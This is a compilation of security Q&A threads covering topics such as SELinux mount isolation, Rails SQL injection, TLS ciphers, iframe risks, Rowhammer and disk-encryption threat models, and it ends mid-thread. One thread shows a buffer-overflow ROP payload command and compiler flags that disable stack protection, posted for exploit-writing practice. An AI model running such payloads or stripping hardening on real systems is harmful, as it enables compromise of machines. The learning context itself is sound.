Protecting folder contents from processes Let's consider the following:

Linux is the platform I am referencing here
There exists a partition on the system that's encrypted with a strong password (via the LUKS mechanism, if it's relevant to you)
This partition contains sensitive information that I wish to isolate from the rest of the system

Assuming all of the above, how can I (as the administrator of the system) enforce a rule that systematically denies read access of the contents of that encrypted partition to all the processes currently running on the system (including those that are started from me as well) except for a select few (like the file manager to access the contents of the partition). Obviously this pertains to the time periods when the partition is mounted and unlocked on the system so any process can read from it at that point.

Basically, what I'm asking for is a way to isolate a mounted device from the rest of the system by choosing only the processes that may read from it and denying access to any other program that's not part from that list.

I believe either SELinux or AppArmor should (in theory) be capable of doing that but I'm not exactly sure how to configure them.

Also, I'm still not sure if this question is appropriate to be here or on superuser.

For isolating access to a mountpoint so only particular programs can access it, you can use MAC or DAC. When using DAC, you must provide a way to automatically run your target program as a group.
Mandatory Access Controls
A Mandatory Access Control system, or MAC, is a framework for limiting what actions a given subject (e.g. a process or thread group) can use to operate on an object (e.g. a file, directory, or network interface). The access controls are usually enforced by the kernel, and the process being confined has no say over what objects it is allowed to access and how. For your use-case, you would need to use SELinux rather than AppArmor. AppArmor requires an explicit profile for every single program it is confining. A new program will not be confined at all. There are ways around this involving setting a profile for the init process, causing it to be inherited by all other processes on the system, but it is a hacky and untested technique. SELinux on the other hand is specifically designed for system-wide isolation policies, though per-process targeted policies are also supported.
You can specify a particular SELinux context for a given mountpoint by specifying the context= option when mounting, either using fstab(5) or by directly invoking mount(8). The context is used to determine what SELinux permissions are required to access it, without needing to label every file.
Discretionary Access Controls
Discretionary Access Controls, or DAC, are the standard UNIX permissions that govern all filesystem access on a Linux system. It is called discretionary because a user who owns a given file or directory can, at his discretion, change its permissions. In order to use DAC to protect a mountpoint so only specific programs can read and write to it, you would want the mountpoint to be mode 0770, owned by the root user and a new group which you create. Any process running under this group will be able to enter, read, write, and execute anything on the mountpoint. There are a few ways to accomplish this:

Mark your program setgid, which will cause it to automatically run as the group the executable possesses. Any transition to a setgid context will cause the system to discard all potentially dangerous environmental variables, and will protect the process from invasive debuggers.
Configure your sudoers to allow you to run your approved programs as a given group, either with or without supplying a password. This works similarly to the former option, but uses sudo.

A much safer but more invasive technique would be to create an entire different user, with its own desktop environment (if you use any), and its own home directory. When you need to access anything sensitive, ensure the sensitive files and directories are readable only by root and your new, safe user. This may break your workflow as you will have to log into a different user, but it will not be subject to the (non-negligible) caveats with application isolation which are explained below.
Caveats
It is extremely important that you fully understand the implications of given a particular process access to sensitive information. Unless the program is designed specifically to remain secure under these circumstances, there could be unforeseen ways to hijack it. A graphical file manager, for example, cannot be isolated under Linux, as it will have access to your X11 cookie, and thus any other graphical program with X11 access running under the same user (even if the group is different) will be able to take screenshots, inject mouse movements and keystrokes, and more. This of course would defeat the isolation attempts. All other issues will be specific to the individual programs. Attempting process isolation without conforming to a particular formal policy such as Biba or Bell-LaPadula can be risky.


SQL injection in find_by Active Record RoR 4 I was trying to understand the possibility of SQLi in a Rails Application, that I am currently auditing for a client, that uses Active Record 4.2.0.

Now, I have limited experience with RoR so please bear with me on this. While looking through a query of the form :

@order = Order.find_by(external_order_id: params['id'], source_user_id: @user.id) if params['id'].present?

and going through multiple security advisory around RoR security, (like RoR Security Cheat Sheet) I understand that find_by method of Active Record COULD be dangerous to use.

Now to understand this fact better, I also tried going through the application logs to see what is the exact SQL query that gets formed when the above Active Record code gets hit. From my analysis I understand that
params['id'] is the user input that gets to be part of the underlying SQL query directly. However, if I try injecting a SQLi payload in this parameter, the single quotes get escaped as \'

Now some further reading revealed that Active Record by default escapes user input (Please correct me if I am wrong here)

So if the above is the case, it means that the use of find_by, like in the above case, is completely safe. Or is it not?
If not, what could be the possible bypasses for the escaping implemented by Active Record ? Or is there another payload that could help me prove that SQLi is possible with the find_by method as used above as mentioned in the cheat sheet linked above.

https://stackoverflow.com/questions/22162350/sql-injection-and-activerecord answers this issue fine.

Do not use raw strings in ActiveRecord, use hashes.

View http://rails-sqli.org for a complete review of the concerned methods.


Configure Wireshark to capture preformatted data from pseudo-device So, for a research project, I'm trying to use the HONE project on github, which creates during its module installation two pseudo-devices in the /dev folder.  These are called hone and honet, the former containing the information it is programmed to receive in pcapng format, and the latter a human-readable text interpretation.

As it stands, I can't find a way to reliably and continuously get information from the hone device.  I could use cat, but it runs the risk of cutting off writing mid-packet.  HONE also comes with a program for logging the information to a file, called honelogd, but still, I need to run my software continuously.

Is it possible to configure Wireshark to accept this pseudo-device as a capture interface?

Wireshark is usually a poor choice for things that must run continuously.  dumpcap, part of the wireshark suite, is a better choice.  You should be able to specify the hone device with -i hone (or -i /dev/hone) to dumpcap.  Alternatively, dumpcap can read from a named pipe, which could read from the device.  See: https://www.wireshark.org/docs/man-pages/dumpcap.html


Security of data stored on sim cards What kind of data can be stored on sim cards and reactivated on another device?

Is it safer to store data on the device or the sim card?

The standard user-accessible data are call history, SMS and contacts, if your phone is set to store these on the SIM. Most smartphones store these in the phone by default (as most SIMs have very limited storage space).

In addition, there could be STK applications that store proprietary data on the SIM. Very few people use these any more and the data stored is probably only relevant to the carrier.

If you want to protect the data on the SIM, simply set a SIM Pin (note this is different from your phone's unlock PIN). The chip in the SIM will not allow any data to be accessed without the PIN. Alternatively, set your phone not to store anything on the SIM and encrypt your phone with a password.


Credit card forms on HTTP pages a MITM risk? The other day, there was a web developer mailing list thread about a fundraiser page.

One person noted that the page with the credit card form was HTTP, not HTTPS.

In response, one person said that since the target of the form was HTTPS, it's not a problem

  Nah, the form's submitted via https, served by Stripe. The site itself
  is http, though...

However, someone argued in response that that is not enough

  You have not established that the form is secure. A MITM may modify
  the HTML in the response for http://example.com/
  to replace the form's "action" attribute.

The website in question has since changed such that going to http://example.com takes you to https://example.com instead, so it's (hopefully) secure now, but I want to know for future reference.

Is a credit card form being on HTTP, but the target being HTTPS, a security risk for MITM attacks?

Yes, that last someone is correct, in addition to encryption (confidentiality) HTTPS gives you the assurances that the form is coming from where you think it is (authentication), and that it has not been interfered with in transit (integrity). Without HTTPS the form could be modified by a MITM as described.

It'sNot using HTTPS for this is simply bad practise (since the user is often the weakest link), when entering important data the user should just expect to see HTTPS (padlock/green bar/whatever) at every step, no exceptions.

Most browsers will warn by default if you POST from a HTTPS page to a non-HTTP URL, but they don't all clearly indicate that your data is being sent securely in the opposite case. Lack of HTTPS also means that site won't be using "secure" cookies.

See also: Is posting from HTTP to HTTPS a bad practice?

Properly addressing this issue requires HTTP STS (RFC6797), though a boot-strapping issue remains with first HTTP requests in most cases.

A similar issue is the practise of using an iframe to a HTTPS site within a HTTP page, e.g. 3rd party credit card service. In this case, though the form and the post are HTTPS, there's no assurance of integrity in the non-HTTPS content containing the iframe. The browser doesn't show the form is HTTPS (at least not in the normal way, if at all), so this also violates the expectations of a security conscious user.


From where I can get a list of trusted certificates fo HTTPS? I am using OpenBSD with a browser named Xombrero that doesn't have SSL certs by default. Should I get the certs from the /etc/ssl/certs.pem file?

(ex.: I am not trusting OCSP and don't trust that my webbrowser auto-updates itself - if there were any - so the certs aren't updated)

Question: are there any best-practises to get a list of trustable CA's certs?

In any case, OCSP is not about telling you who you should trust; OCSP is solely concerned about revocation. When an OCSP server sends a response which says that a given certificate is "good", this is a misnomer; it really means "there is no known revoked certificate with that serial number". OCSP does not guarantee that the target certificate exists at all, let alone that it is "trustworthy".

That being said, the list of trusted CA is, indeed, the list of trusted CA. Will you declare that you will trust some CA because you found some list on some Web page which tells you that "you shall trust these CA", and that Web page was pointed to you by "some guy on the Internet" (who shows neither his real name, nor his real face) ?

If you really want to surrender your security to the advice of a random stranger, be he a bear, you may at least apply some personal judgement and decide on a per CA basis whether you want it or not. As a starting point, you could begin by copying the "trusted CA" from another Web browser, say Internet Explorer or Firefox. The CA from IE are the CA that Microsoft, in its infinite wisdom, declared fit to be trusted by the general public (the list and rationale about why these CA are "trusted" can be found there); you may want to prune that list a bit. However, Windows' market share being what it is, it is pretty much guaranteed that any HTTPS Web site which "works" will have a certificate issued directly or indirectly by one of these CA.

(Since the Microsoft list of CA contains a number of "government CA" which were added because governments are, as a rule, narcissistic, but are not actually used, the list can be considerably pruned without substantially breaking Web browsing. There may be about a dozen commonly used root CA.)


Cannot connect using ECDH-RSA-AES256-SHA I try to establish an SSL connection using the ECDH-RSA-AES256-SHA cipher using OpenSSL, but it fails saying "no shared cipher":

On the server, I run:

$ openssl s_server -cert selfsigned_cert.pem -key selfsigned_key.pem
ACCEPT
ERROR
140662855206568:error:1408A0C1:SSL routines:SSL3_GET_CLIENT_HELLO:no shared cipher:s3_srvr.c:1236:

On the client:

$ openssl s_client -connect myserver:4433 -cipher ECDH-RSA-AES256-SHA
CONNECTED(00000003)
140237192541856:error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure:s23_clnt.c:769:
---

Is it because of the server's certificate?
It is a self signed certificate :

$ openssl x509 -in selfsigned_cert.pem -text -noout
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number:
            a9:30:4a:0b:b0:2a:7a:ab
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=FR, ST=Some-State, L=Paris, O=Foo, OU=Bar, CN=selfsigned/emailAddress=moi
        Validity
            Not Before: Sep 14 12:29:49 2015 GMT
            Not After : Aug 29 12:29:49 2017 GMT
        Subject: C=FR, ST=Some-State, L=Paris, O=Foo, OU=Bar, CN=selfsigned/emailAddress=moi
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:df:2f:1f:ff:ce:21:9c:e4:e3:9c:c8:ba:a2:d1:
                    f3:6a:73:a4:af:d6:da:5a:f9:b8:dc:49:ce:5d:89:
                    03:88:6d:11:06:7e:9a:1c:93:1b:95:25:c8:e6:c3:
                    b5:5f:ed:96:2d:29:bf:77:a6:a9:25:33:8b:9a:69:
                    fd:88:52:94:03:a5:6b:ce:5a:a4:ad:ca:39:51:00:
                    09:14:4f:37:ce:84:8c:3e:d6:43:df:55:11:52:95:
                    0b:64:4d:72:e3:43:52:98:cc:51:87:70:0a:c0:78:
                    8a:b8:8f:4b:3c:37:9a:3a:a6:6f:87:81:a9:42:19:
                    02:f2:9f:36:2d:30:d0:40:01
                Exponent: 65537 (0x10001)
    Signature Algorithm: sha256WithRSAEncryption
        50:28:61:05:4e:a0:58:e1:5a:e4:0a:cf:e9:9c:bb:48:f0:f2:
        ed:e9:51:41:be:2c:b2:66:0d:21:bb:94:c4:49:c4:38:15:e5:
        b7:b3:d9:ce:4e:af:b3:bd:47:3d:1f:54:21:a6:1d:8a:15:5c:
        ef:bb:28:d0:3b:e9:9b:cb:2d:30:b9:fb:47:ef:25:15:4a:38:
        e3:81:9c:70:d9:22:55:71:d5:d8:75:5e:23:5d:88:67:31:d3:
        84:2c:2e:ad:ec:3c:55:d1:95:f6:43:29:cd:c3:ac:9c:e2:5f:
        8f:c8:1e:24:4a:c8:57:d2:84:b5:d3:f8:35:40:5b:75:28:e4:
        a5:3d

Without the "-cipher ECDH-RSA-AES256-SHA" argument, the client connects successfully to my server.

Any idea?

Use ECDHE instead.

I think you're mixing up ECDH and ECDHE.

$ openssl ciphers -V 'ALL:COMPLEMENTOFALL' | sort | grep ECDH | grep -- '-RSA-AES256-SHA '
      0xC0,0x0F - ECDH-RSA-AES256-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(256)  Mac=SHA1
      0xC0,0x14 - ECDHE-RSA-AES256-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA1

The "ECDH-" one uses fixed DH parameters inside the certificate. This is rarely used. And your certificate is not one such fixed-DH certificate. It has the line "Public Key Algorithm: rsaEncryption", so it's the regular RSA type certificate.
The "ECDHE-" one uses ephemeral DH parameters. This is the one that you can use with your certificate.

Further reading

Anonymous/fixed/ephemeral (EC)DH: OpenSSL Wiki: Diffie-Hellman in SSL/TLS


Evernote hacked - precautions? On March 2, 2013, the digital note taking system Evernote was hacked. Evernote has forced new passwords and have released new updates to Windows, Windows phone and iOS of their client software.

Given what is known about their security set-up, e.g. Evernote encryption and Evernote forum discussion, of selecting strong passwords, adding pincode for opening notebooks on mobile devices, what else should be done as an end user to add security?

Whenever a service you use gets hacked and the result is a leak of authentication credentials, there are some precautions you can take to minize your risk.

First of all, change the service's password, even if you had a long and complex one. This will make it impossible for the attackers to get your current credentials.

Make sure you never use the same password for two different applications. I know, same old suggestion, but this is exactly the case where it makes a difference!

You have to consider that Evernote uses an e-mail address as username (too), hence creating a higher risk if you use the same password for other services that require a unique e-mail (e.g. Facebook).

Finally, I'd suggest the use of a password manager in order to generate safe passwords and to use them without having to rely on simple schemas (e.g. Evernote1!) or on post-it notes.


Hiring an AppSec Engineer - What to look for? I am in the process of trying to hire an AppSec Engineer to review our source code manually and have only been able to find those using appscan tools for secure code reviews. Is there something in particular I should change or search for to find someone who can review code manually?

C# .Netcore 2.2

When you hire someone, you do so because you expect that they provide value to your company. What are your expectations for your Application Security Engineer?

If you answered "To make our product more secure", then it seems to me that you have not really thought too much about security. Perhaps it's also not your area of expertise, which is fine too. We all started at some point.

Ask yourself, what do you actually want this person to do? Are you looking for someone who finds flaws and suggest reactive measures? Or are you looking for someone who improves your processes and overall code architecture to improve your security proactively?

Once you have settled for what you actually want the future employee to provide for your company, ask yourself how their skill set fits into this. For instance, if you are dealing with a codebase that is very broken due to no existing security knowledge at all, then perhaps someone who has good experience building secure architectures may be a good option.

But don't be discouraged if a future employee does not 100% fit the role you had hoped for them to do. People evolve, and if you actively aim to getting this employee where you want them to have (e.g. by offering them specialized training, sending them to conferences, etc.), then you will inevitably end up with someone very valuable to your company infrastructure.

I know that "It depends on what you want" is not the answer you may have hoped for. It certainly would have seemed to be much easier if I had listed a number of skills and certifications that person would need to have, but ultimately this isn't the way you would want to go.


Remote network security option I'm a bit confused with some different network security techniques.

Say we want a secure communication with a particular mail server in a remote company network. Reading and sending mails should be possible.
What (good or bad) options do we have?

I'd say this:

IPsec: but wont get past the NAT
SSL/TLS: good I guess?
SSH: more designed toward remote shell commands?
Kerberos: better access control, but designed toward user management for multiple servers?
PKI with x.509 certificates: good I guess?
PGP: also good I guess?

I know some of these options are not comparable as they serve different purposes.
But that is my question, what viable options are there for this particular case?

Establishing a Secure Connection

  we want a secure communication with a particular mail server in a remote company network.

If you want to secure the connection to the server, either stick with VPN which could use IPSec (to get a secure connection to the company network, not secured between their VPN gateway and mail server) or SSL/TLS which secures the SMTP/IMAP connection itself.

SSL/TLS is probably a good choice as you cannot forget to enable VPN before connecting to the mail server(s) - or do not need to add mechanisms to prevent this.

If NAT is the problem, some VPN technologies can also pass network address translation.

The other protocols

You could also do with SSH-tunnels, but this probably includes more hassles.

The others are not offering any encryption capabilities themselves:

Kerberos is for authentication, not for encryption. PKI on X.509 certificates is for putting trust in certificates. Other protocols use these certificates for encryption (among other things), for example SSL.

OpenPGP encrypts the messages, not the connection. It depends on your needs whether this is a feasible alternative, but does not fit the requirements you posted (secure connection to the mail server). Especially, it only works with communication partners also using OpenPGP; all mail not send using OpenPGP will be transfered unencrypted to your client computer.

Of course you can combine these technologies. For example, you could use VPN for securing access to the company network (possibly some critical services aren't even available without) and use SSL anyway (lots of mail servers don't allow unencrypted connections anyway). Using OpenPGP gives you another level of security when emails leave your (secure) company network on unencrypted paths, and protect you from evil server administrators and black hat hackers.


How are iframes vulnerable to attacks I have been doing some research as I am looking to implement a form on anther website using an iframe. I understand that an attacker can change the source code of an iframe to point to a script, but how will this effect everyone else as surely that is client side and not server.

An article I read suggested that hackers will be able to record key strokes from an IE bug, but surely that means modifications to the server side code?

I have enabled sandbox mode with sandbox="allow-forms allow-scripts". Is this secure enough or should a different approach be taken? .

An article I read suggested that hackers will be able to record key
  strokes from an IE bug, but surely that means modifications to the
  server side code?

The IE bug I believe you are referring to is mentioned here.

  an attacker may create a web page at evil.com, which the attacker
  controls, and include on the evil.com page a visible frame displaying
  the login page for example.com. The attacker can hide the frame's
  borders and expand the frame to cover the entire page, so that it
  looks to the browser user like he or she is actually visiting
  example.com The attacker registers some javascript in the main
  evil.com page which listens for all key events on the page. Normally,
  this listener would be notified of events only from the main evil.com
  page -- but because of the browser bug, this listener is notified also
  of events from the framed example.com page

However, the user would:

Have to be using a vulnerable version of Internet Explorer.
Already be trusting evil.com to enter their credentials for example.com. That is, evil.com could just as well be displaying something which looks like example.com's login page rather than an IFrame.

  I have enabled sandbox mode with sandbox="allow-forms allow-scripts".
  Is this secure enough or should a different approach be taken? .

The main risk if the other website is malicious or compromised, then it can do what it wants within the IFrame only. The sandbox attribute is widely supported, however you may wish to not write the IFrame at all for unsupported browsers. You are not specifying allow-top-navigation so they cannot redirect the user away.

The Same Origin Policy will prevent the framed page from manipulating yours. I guess the main risk you're taking is that the site could attempt a browser exploit or a cross-domain attack on another website (e.g. XSS, CSRF) by you sending the user to a site that they have not chosen to trust.


How critical is App Transport Security? As we've probably all heard, App Transport Security in iOS 9 requires:

TLS 1.2 or better
Forward secrecy ciphers
SHA256 or better with >= 2048-bit RSA or >= 256-bit ECC key

Google and Facebook both request that developers turn off App Transport Security (or parts of it) for compatibility, and Google has taken some heat for it.

My question is this: how much technical justification is there? Should we all be raising cain to motivate everyone to comply with ATS instead of being lazy and working around it? Or is there not much practical effect to, for example, turning off the forward secrecy requirement for Facebook domains?

It's probably justified, because with the speed of which computing power increases, older encryption quickly become weak, what once was considered "too hard to break" becomes feasible.

Apple do have the habit of educating their users / developers, which also tend to be lazy and neglect such issues, so this is probably a good thing, especially when solutions are easy to implement.

There are some cases in which ATS has to be disabled, but most times it can be fixed without disabling ATS -

A) Backend doesn't support HTTPS connections

Configure your backend to support HTTPS connections, there's no reason to use non secure connections.

B) Backend is using a self signed certificate

Either sign it with a know Certificate Authority, or pin your self signed root certificate. You can use AFNetworking to pin your CER file.

C) Backend doesn't support TLS v1.2 with Forward Secrecy

Update your server to support those ciphers. Search the web on how to do this on your web server.

D) App communicates with a 3rd party that doesn't full comply to ATS

Add an exception for that specific website. Check if the endpoint supports HTTPS scheme, TLS v1.2 protocols and Forward Secrecy cipher suites, if any of those are missing - and a specific exempt.

If they don't specify which API endpoint they use, you can use a sniffer like Wireshark, or other winpcap based program to find out who the 3rd party library is communicating with.

Here's a great guide on setting exemptions -
http://ste.vn/2015/06/10/configuring-app-transport-security-ios-9-osx-10-11/

E) App opens an unknown external URL

Use SFSafariViewController to open unknown external websites. It encapsulates all protection measurements required to protect your user.

F) App has an inline web browser

This is a bummer, since SFSafariViewController uses a modal view and you probably need to use UIWebView, which follow the ATS rules of your app. There's no way to allow HTTP connections on a specific UIWebView control.

If you want to support opening HTTP website from an inline UIWebView browser, you'll have to enable NSAllowsArbitraryLoads.


Which memory modules are known to be vulnerable to or secure against Rowhammer/Flip Feng Shui? Many memory modules from different manufacturers have been tested for vulnerability to the Rowhammer exploit. However, some researchers have anonymised their results, possibly for responsible disclosure reasons. Are there any reputable sources keeping track of the result of these tests? All I could find so far is:

How Rowhammer Could Be Used to Exploit Weaknesses in Computer Hardware:

Vulnerable: Crucial Ballistix Sport, Crucial Ballistix Elite, Micron Branded
Safe with default refresh rate: G.Skill Ripjaws 4
Safe: Geil Super Luce

Related to How to know whether a RAM module is vulnerable to rowhammer before buying?.

The research paper itself which uncovered this did not specifically identify the manufacturers by name. In fact, they anonymized them on purpose. Suffice it to say that it would be reasonable to assume it was the majority of DRAM modules that have been recently manufactured:

From the paper:

  As listed in Table 3, we tested for disturbance errors in a total of 129 DDR3 DRAM modules.  They comprise 972 DRAM chips from three manufacturers whose names have been anonymized to A, B, and C. 8 The three manufacturers represent a large share of the global DRAM market.

Source: Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors


I found an unknown UFW rule on my ubuntu server - have I been compromised? The server is running the Kubuntu Desktop variant of Ubuntu (I transformed it into a server, I had things configured that would have been a pain to transfer to another installation.).
One day I decided to do a security check-up and I checked my UFW rules (sudo ufw status) and I found these rules that I don't remember adding:
49152                      ALLOW       Anywhere
49152 (v6)                 ALLOW       Anywhere (v6)

Googling for "port 49152", etc does not bring up any useful information. I know that it is a private/dynamic/ephemeral port but I have no idea what the port was used for and why this firewall rule was on my server, and if possible are there any logs that I could check that would tell me what the port was used for and what added the firewall rule?
The process that was using the port seems to have died as running the following commands:
sudo netstat -tupln
sudo netstat -a
sudo lsof -i

show no signs of a process listening on the port.
List of installed packages: https://paste.ubuntu.com/p/c5NqMbk3wV/

Could I check what was previously using the port?
Could this be something dangerous?
How could I find out what added the firewall rule?
Have I been compromised?

Any open port can only be dangerous if there is some process listening to it. You say there is no process listening to it. So I would say there is not much risk.
See RFC 6335. All ports are split into several regions that have different purposes. To 49152:

Ports in the Dynamic Ports range (49152-65535) have been specifically
set aside for local and dynamic use and cannot be assigned through
IANA. Application software may simply use any dynamic port that is
available on the local host, without any sort of assignment.

Some of applications has used it. Which one, it is impossible to say.
Should you worry? I don't see reason to expect high risk.
If you are curious what might have cause it, I'd suggest to look at syslog. There might be entries where this port is referenced.


What is "c/s" in context of hash cracking? I was reading hashcat's About page, and the stats are listed in terms of c/s....is that "Cracks per seconds"....the 'c' part seems wrong, I'm just guessing. What is 'c'?

"c/s is "crypts" (password hash or cipher computations) per second"

Quoted from the John the Ripper FAQ: http://www.openwall.com/john/doc/FAQ.shtml


What's the point of using a firewall to filter ports if they are closed by default? I'm just learning most of this stuff so bare with me;

Using a firewall service such as iptables, is there a point in filtering/blocking a port that is not in use meaning it's closed by default?

It does not seem to give more protection if you block access to a port which is not used anyway or is not accessible from outside because its bound to 127.0.0.1 only.

But, can you really guarantee that the port will not be used? A simple misconfiguration like a typo might be enough to make a service accessible from outside. Thus, it is preferred to have a defense in depth: deny with firewalls rules every access from outside except for the services which are supposed to be reachable, i.e. whitelist selected ports only. Then even a misconfiguration of a service will not make it accidentally accessible from outside.


Which is more secure: develop a mobile app in its Native language or using cross-platform UI? I am just wondering if there are benefits from a security perspective to develop a mobile App either as native app or as a cross-platform UI app, in particular Rhodes? I need to develop an application and from security perspective i am wondering if i gain any additional security in going one way over the other.

There are two main things to watch out for:

you will make fewer mistakes in the environment with which you're more accustomed. If you understand secure coding in, e.g. C# better than Objective-C, then Monotouch might be better for you than Cocoa Touch.
the combination "your code + operating system" has a smaller attack surface than "your code + third party library + operating system".

In almost all cases, the contribution from the first factor is far greater than that from the second.


Security Features enabled in Linux Debian and Ubuntu i am actually doing some tutorials about ROP on Linux. So i tried to follow the
tutorial and compiled some of the example codes to try ROP in a small scope. But
actually when i am trying to exploit the executables either get some message like:

./a.out "$(python -c 'print "A"*0x70 + "BBBB" + "\x00\x40\x06\x2d"')"
*** stack smashing detected ***: ./a.out terminated

So i tryed to compile the Binarys without the gcc Securityfeatures like:

gcc -ggdb -o a.out -mpreferred-stack-boundary=4 myfirstrop.c -z execstack or
gcc -ggdb -o a.out -fno-stack-protector -mpreferred-stack-boundary=4 myfirstrop.c -z execstack

But i either get the stack smashing message or it prints some message like
"Bus-error" So the question is, is there something like an overview of all the
Security features enabled per default on Linux Debian/Ubuntu Systems? So i kann check them all and might disable them features. If not i have to install DVL in a VM and Start from there over again. Thanks in advance

The hardening guide on the official Debian wiki is the one of the most complete resource for Debian I have come across. You should also ensure things like ASLR is turned off if you are just getting started with exploit writing.

It's highly recommended that you use a VM for this though, basic exploits requires turning off a lot of protections to work, and this can be dangerous if you use your day-to-day machine. VMs also has a handy snapshot feature that you can use to rollback the system if something unexpected happens.


What is disk encryption worth? Threat of proprietary Bios, SMM, optionrom, TPM etc? Supposing there is private/secret data on a machine (i.e a x86 arch) the most reasonable thing to me would be to encrypt this data, so to protect it.

I understand that the purpose of secured,safe,untampered & secret data is only served when the key/passphrase is kept safe. Also I know that, as there is software necessary for the de-/encryption I have to some degree trust this software (i.e. need to trust linux kernel, gnu software, LUKS framework for linux-based disk encryption. etc.).
Being mostly open source an autid of the software mentioned above might seem at least possible.

Still what is with the PC BIOS software?
The most common thing is that it is a proprietary (closed source) peace of code. Theoretically and I think practically there is a good change that some malware in the PC BIOS is setting up a keylogger --> passphare is captured --> data safety is nil. (right?)

Also I have just started hearing (with some shock) about the x86 feature of the Secured Management Mode SMM which it seems can be exploited to work in a bluepill fashion with some rootkit. Also again this could do arbitrary mischief and of course seems to break my encryption purpose by logging the keys.

Even worse I wonder about the optionrom thing in the BIOS. To what I understand the PC Bios would load and execute code from a device (like a network card chip) and execute(!!!) it. So at worst a chinese/american/german (name any other untrusted country/organisation of your choice) could manifacture devices as some kind of computer virus (using this optionrom feature).

With all that I really wonder about the value of disk encryption if there is so much unkown and danger before the (maybe trusted - because open source) linux kernel runs.

Honestly if I was to create a rootkit I would also seek to put(or anchor) it somewhere in the TPM, PCBIOS, optionroms, kernel etc.
Only for the kernel there is some trust.

I would be very happy to hear your thoughts.

Good questions like:

How to check the integrity of my BIOS? or
Tamper-proof BIOS password & settings storage with Trusted Platform Module?

give insight mostly about how to keep PC BIOS free/save from malware? etc, but my paranoia is also to not know what the BIOS does (closed source) in the first place.

some Update

About the threat from changing/tampering the BIOS code I wonder if the linuxBIOS or coreboot(www.coreboot.org) projects do not show both the possibility to modify bios by (also malware) own code and the option to do this on purpose for security reasons. After all a selfwritten or at second best open source BIOS seems doable as the things BIOS do are not "the world" (just some initialization work). So I still fear that -given the hardware documentation or reverse engineering- it is doable to create a malware bios and deploy it (see flashrom.org tool)

Update:
Another source showing the problem of proprietary firmware/hardware is http://arstechnica.com/security/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/

Your question essentially boils down to risk management. The simplest way to analyse a particular risk is to see where it falls in terms of the following three categories:

Probability - What's the chance that this risk will become a problem?
Impact - If a problem occurs due to this risk, how much of a problem is it?
Cost - How much will it cost to reduce this risk probability or impact to an acceptable level?

Note that cost is not just monetary - it includes time, effort, convenience, etc.

Most risks cannot ever be fully mitigated. The goal is to find an acceptable balance between probability, impact and cost. Now let's look specifically at your issue:

Probability
In reality, the probability of an attacker installing fake BIOS and TPM chips is tiny. Anecdotally, I can't quote a single case in the history of infosec where a real attacker has done this. As far as I'm aware, it's only ever been demonstrated in lab conditions. Your real risk is having a hardware keylogger device installed between the keyboard and USB or PS/2 port. How likely is it that an attacker will have physical access? The attacker has a risk model too - are they likely to risk of being caught for the sake of what you're protecting? Be realistic here - are you protecting a photo sharing web service used by 20 people, or a bank with tens of thousands of customers? I'd argue that the probability of BIOS / TPM attacks is minuscule, but the probability of hardware keyloggers is low to medium, depending on your storage and access circumstances.

Impact
What do you stand to lose? What's the absolute maximum fiscal loss, including projected sales losses due to loss of confidence? How much are you likely to have to pay in overtime when your staff are cleaning up after a breach? Might you be sued or fined for breach of data protection laws, such as DPA 1998? From your projected loss model, how much has it cost other companies in similar circumstances? Remember that your loss risk should be relative to business operations as a whole. Think in terms of assets - what do you consider to be important? Is it your source code? Is it your financial records? Your product design documents? What at-risk information are you most concerned about losing? I'd guess you're looking at high impact here, since keyloggers would allow an attacker to gain almost uninhibited access to your network.

Cost
How much will it cost you to bring the risk or impact down to an acceptable level? Note that mitigation methods may not have to be implemented across every machine. Can proper access controls and auditing be used? Is your physical security strong enough?

A few potential ways to reduce risk of tampering:

Don't give staff access to areas they don't need to be! If you use RFID key fobs for keyless entry, don't allow the CEO's PA to use theirs to get into the server room.
Locks on computer cases, to prevent internal tampering.
Place computer towers inside locked cabinets, to make it difficult to interfere with keyboard cables.
Remove or disable USB slots on servers and computers that don't need them.
Laptops kept in a locked cabinet when not in use.
Use Kensington locks on laptops and other sensitive equipment.
Use security tape to seal servers and other high-risk systems.
Use high quality locks. This one scares me more than anything else - I recently learnt to pick them and the cheap ones are way too easy to break. A decent Yale lock will keep an skilled intruder busy for 3-4 minutes. Cheap non-brand ones can take less than 15 seconds. Maglocks alone aren't sufficient, and can be defeated with a home-made electromagnet, a small circuit, and a laptop battery.
Have your alarms and CCTV systems tested frequently, and prioritise the placement of security sensors (e.g. PIRs, cameras, magnetic entry sensors, etc) in high risk areas.

All in all, you could probably bring this risk down to an acceptable level by implementing 4 or 5 of those ideas.


What is the difference between openssl and mkcert and IIS self signed certificate What is the difference between openssl and mkcert. Which one should I prefer.

I want to create an IIS hosted WCF service. Which one should I use to create an SSL certificate. Also, there is another option to create an ssl certificate. On the iis we can create a self signed certificate. Can I use this instead of the one created by mkcert or openssl

There is no really well-established command known as "mkcert" (there is apparently one under that name in some IBM systems). Since you are talking about IIS, I suppose that you mean MakeCert.

Certificates follow a standard called "X.509"(*). There are several tools out there who can create certificates. The main virtue of a certificate is to be signed by a Certification Authority because that's what certificates do: they transfer trust in key-name bindings from a "root CA" down to end-entities (e.g. SSL servers). A self-signed certificate does not transfer much; when you use a self-signed certificate, you are actually trying to fit some public key into the outer format of a certificate just so that protocols which require a certificate don't get some apoplexy crisis when they see it.

For your WCF service, you will need the server to own a certificate (and the corresponding private key), and the client will need to trust that certificate. The tool which creates that certificate does not matter much as long as you can instruct IIS to use that certificate-and-key, and you can configure the client to trust the certificate. Since IIS can create the key pair and the certificate in a few clicks, and you necessarily have IIS installed anyway, using IIS inherent abilities at certificate creation is probably the simplest method. You would use MakeCert.exe if you really prefer, for aesthetic reasons, to use a command-line tool; and you would use OpenSSL if you are also allergic to Microsoft tools (but then, why would you use IIS and WCF ?).

The really important point is that you need a certificate because your service will use SSL or some other protection mechanism, and you do that because you fear malicious attacks. Using certificates will help you only if you make sure that the client will trust only the certificate that you generated and installed on the server, so this means that you must take care of where you generate and store the private key, and, preferably, understand what you are doing.


What is the best file permission for .user.ini in hosting folder? My hoster placed a .user.ini in my public_html. What is the recommended file permission be? Now it's 644.

The PHP .user.ini file:

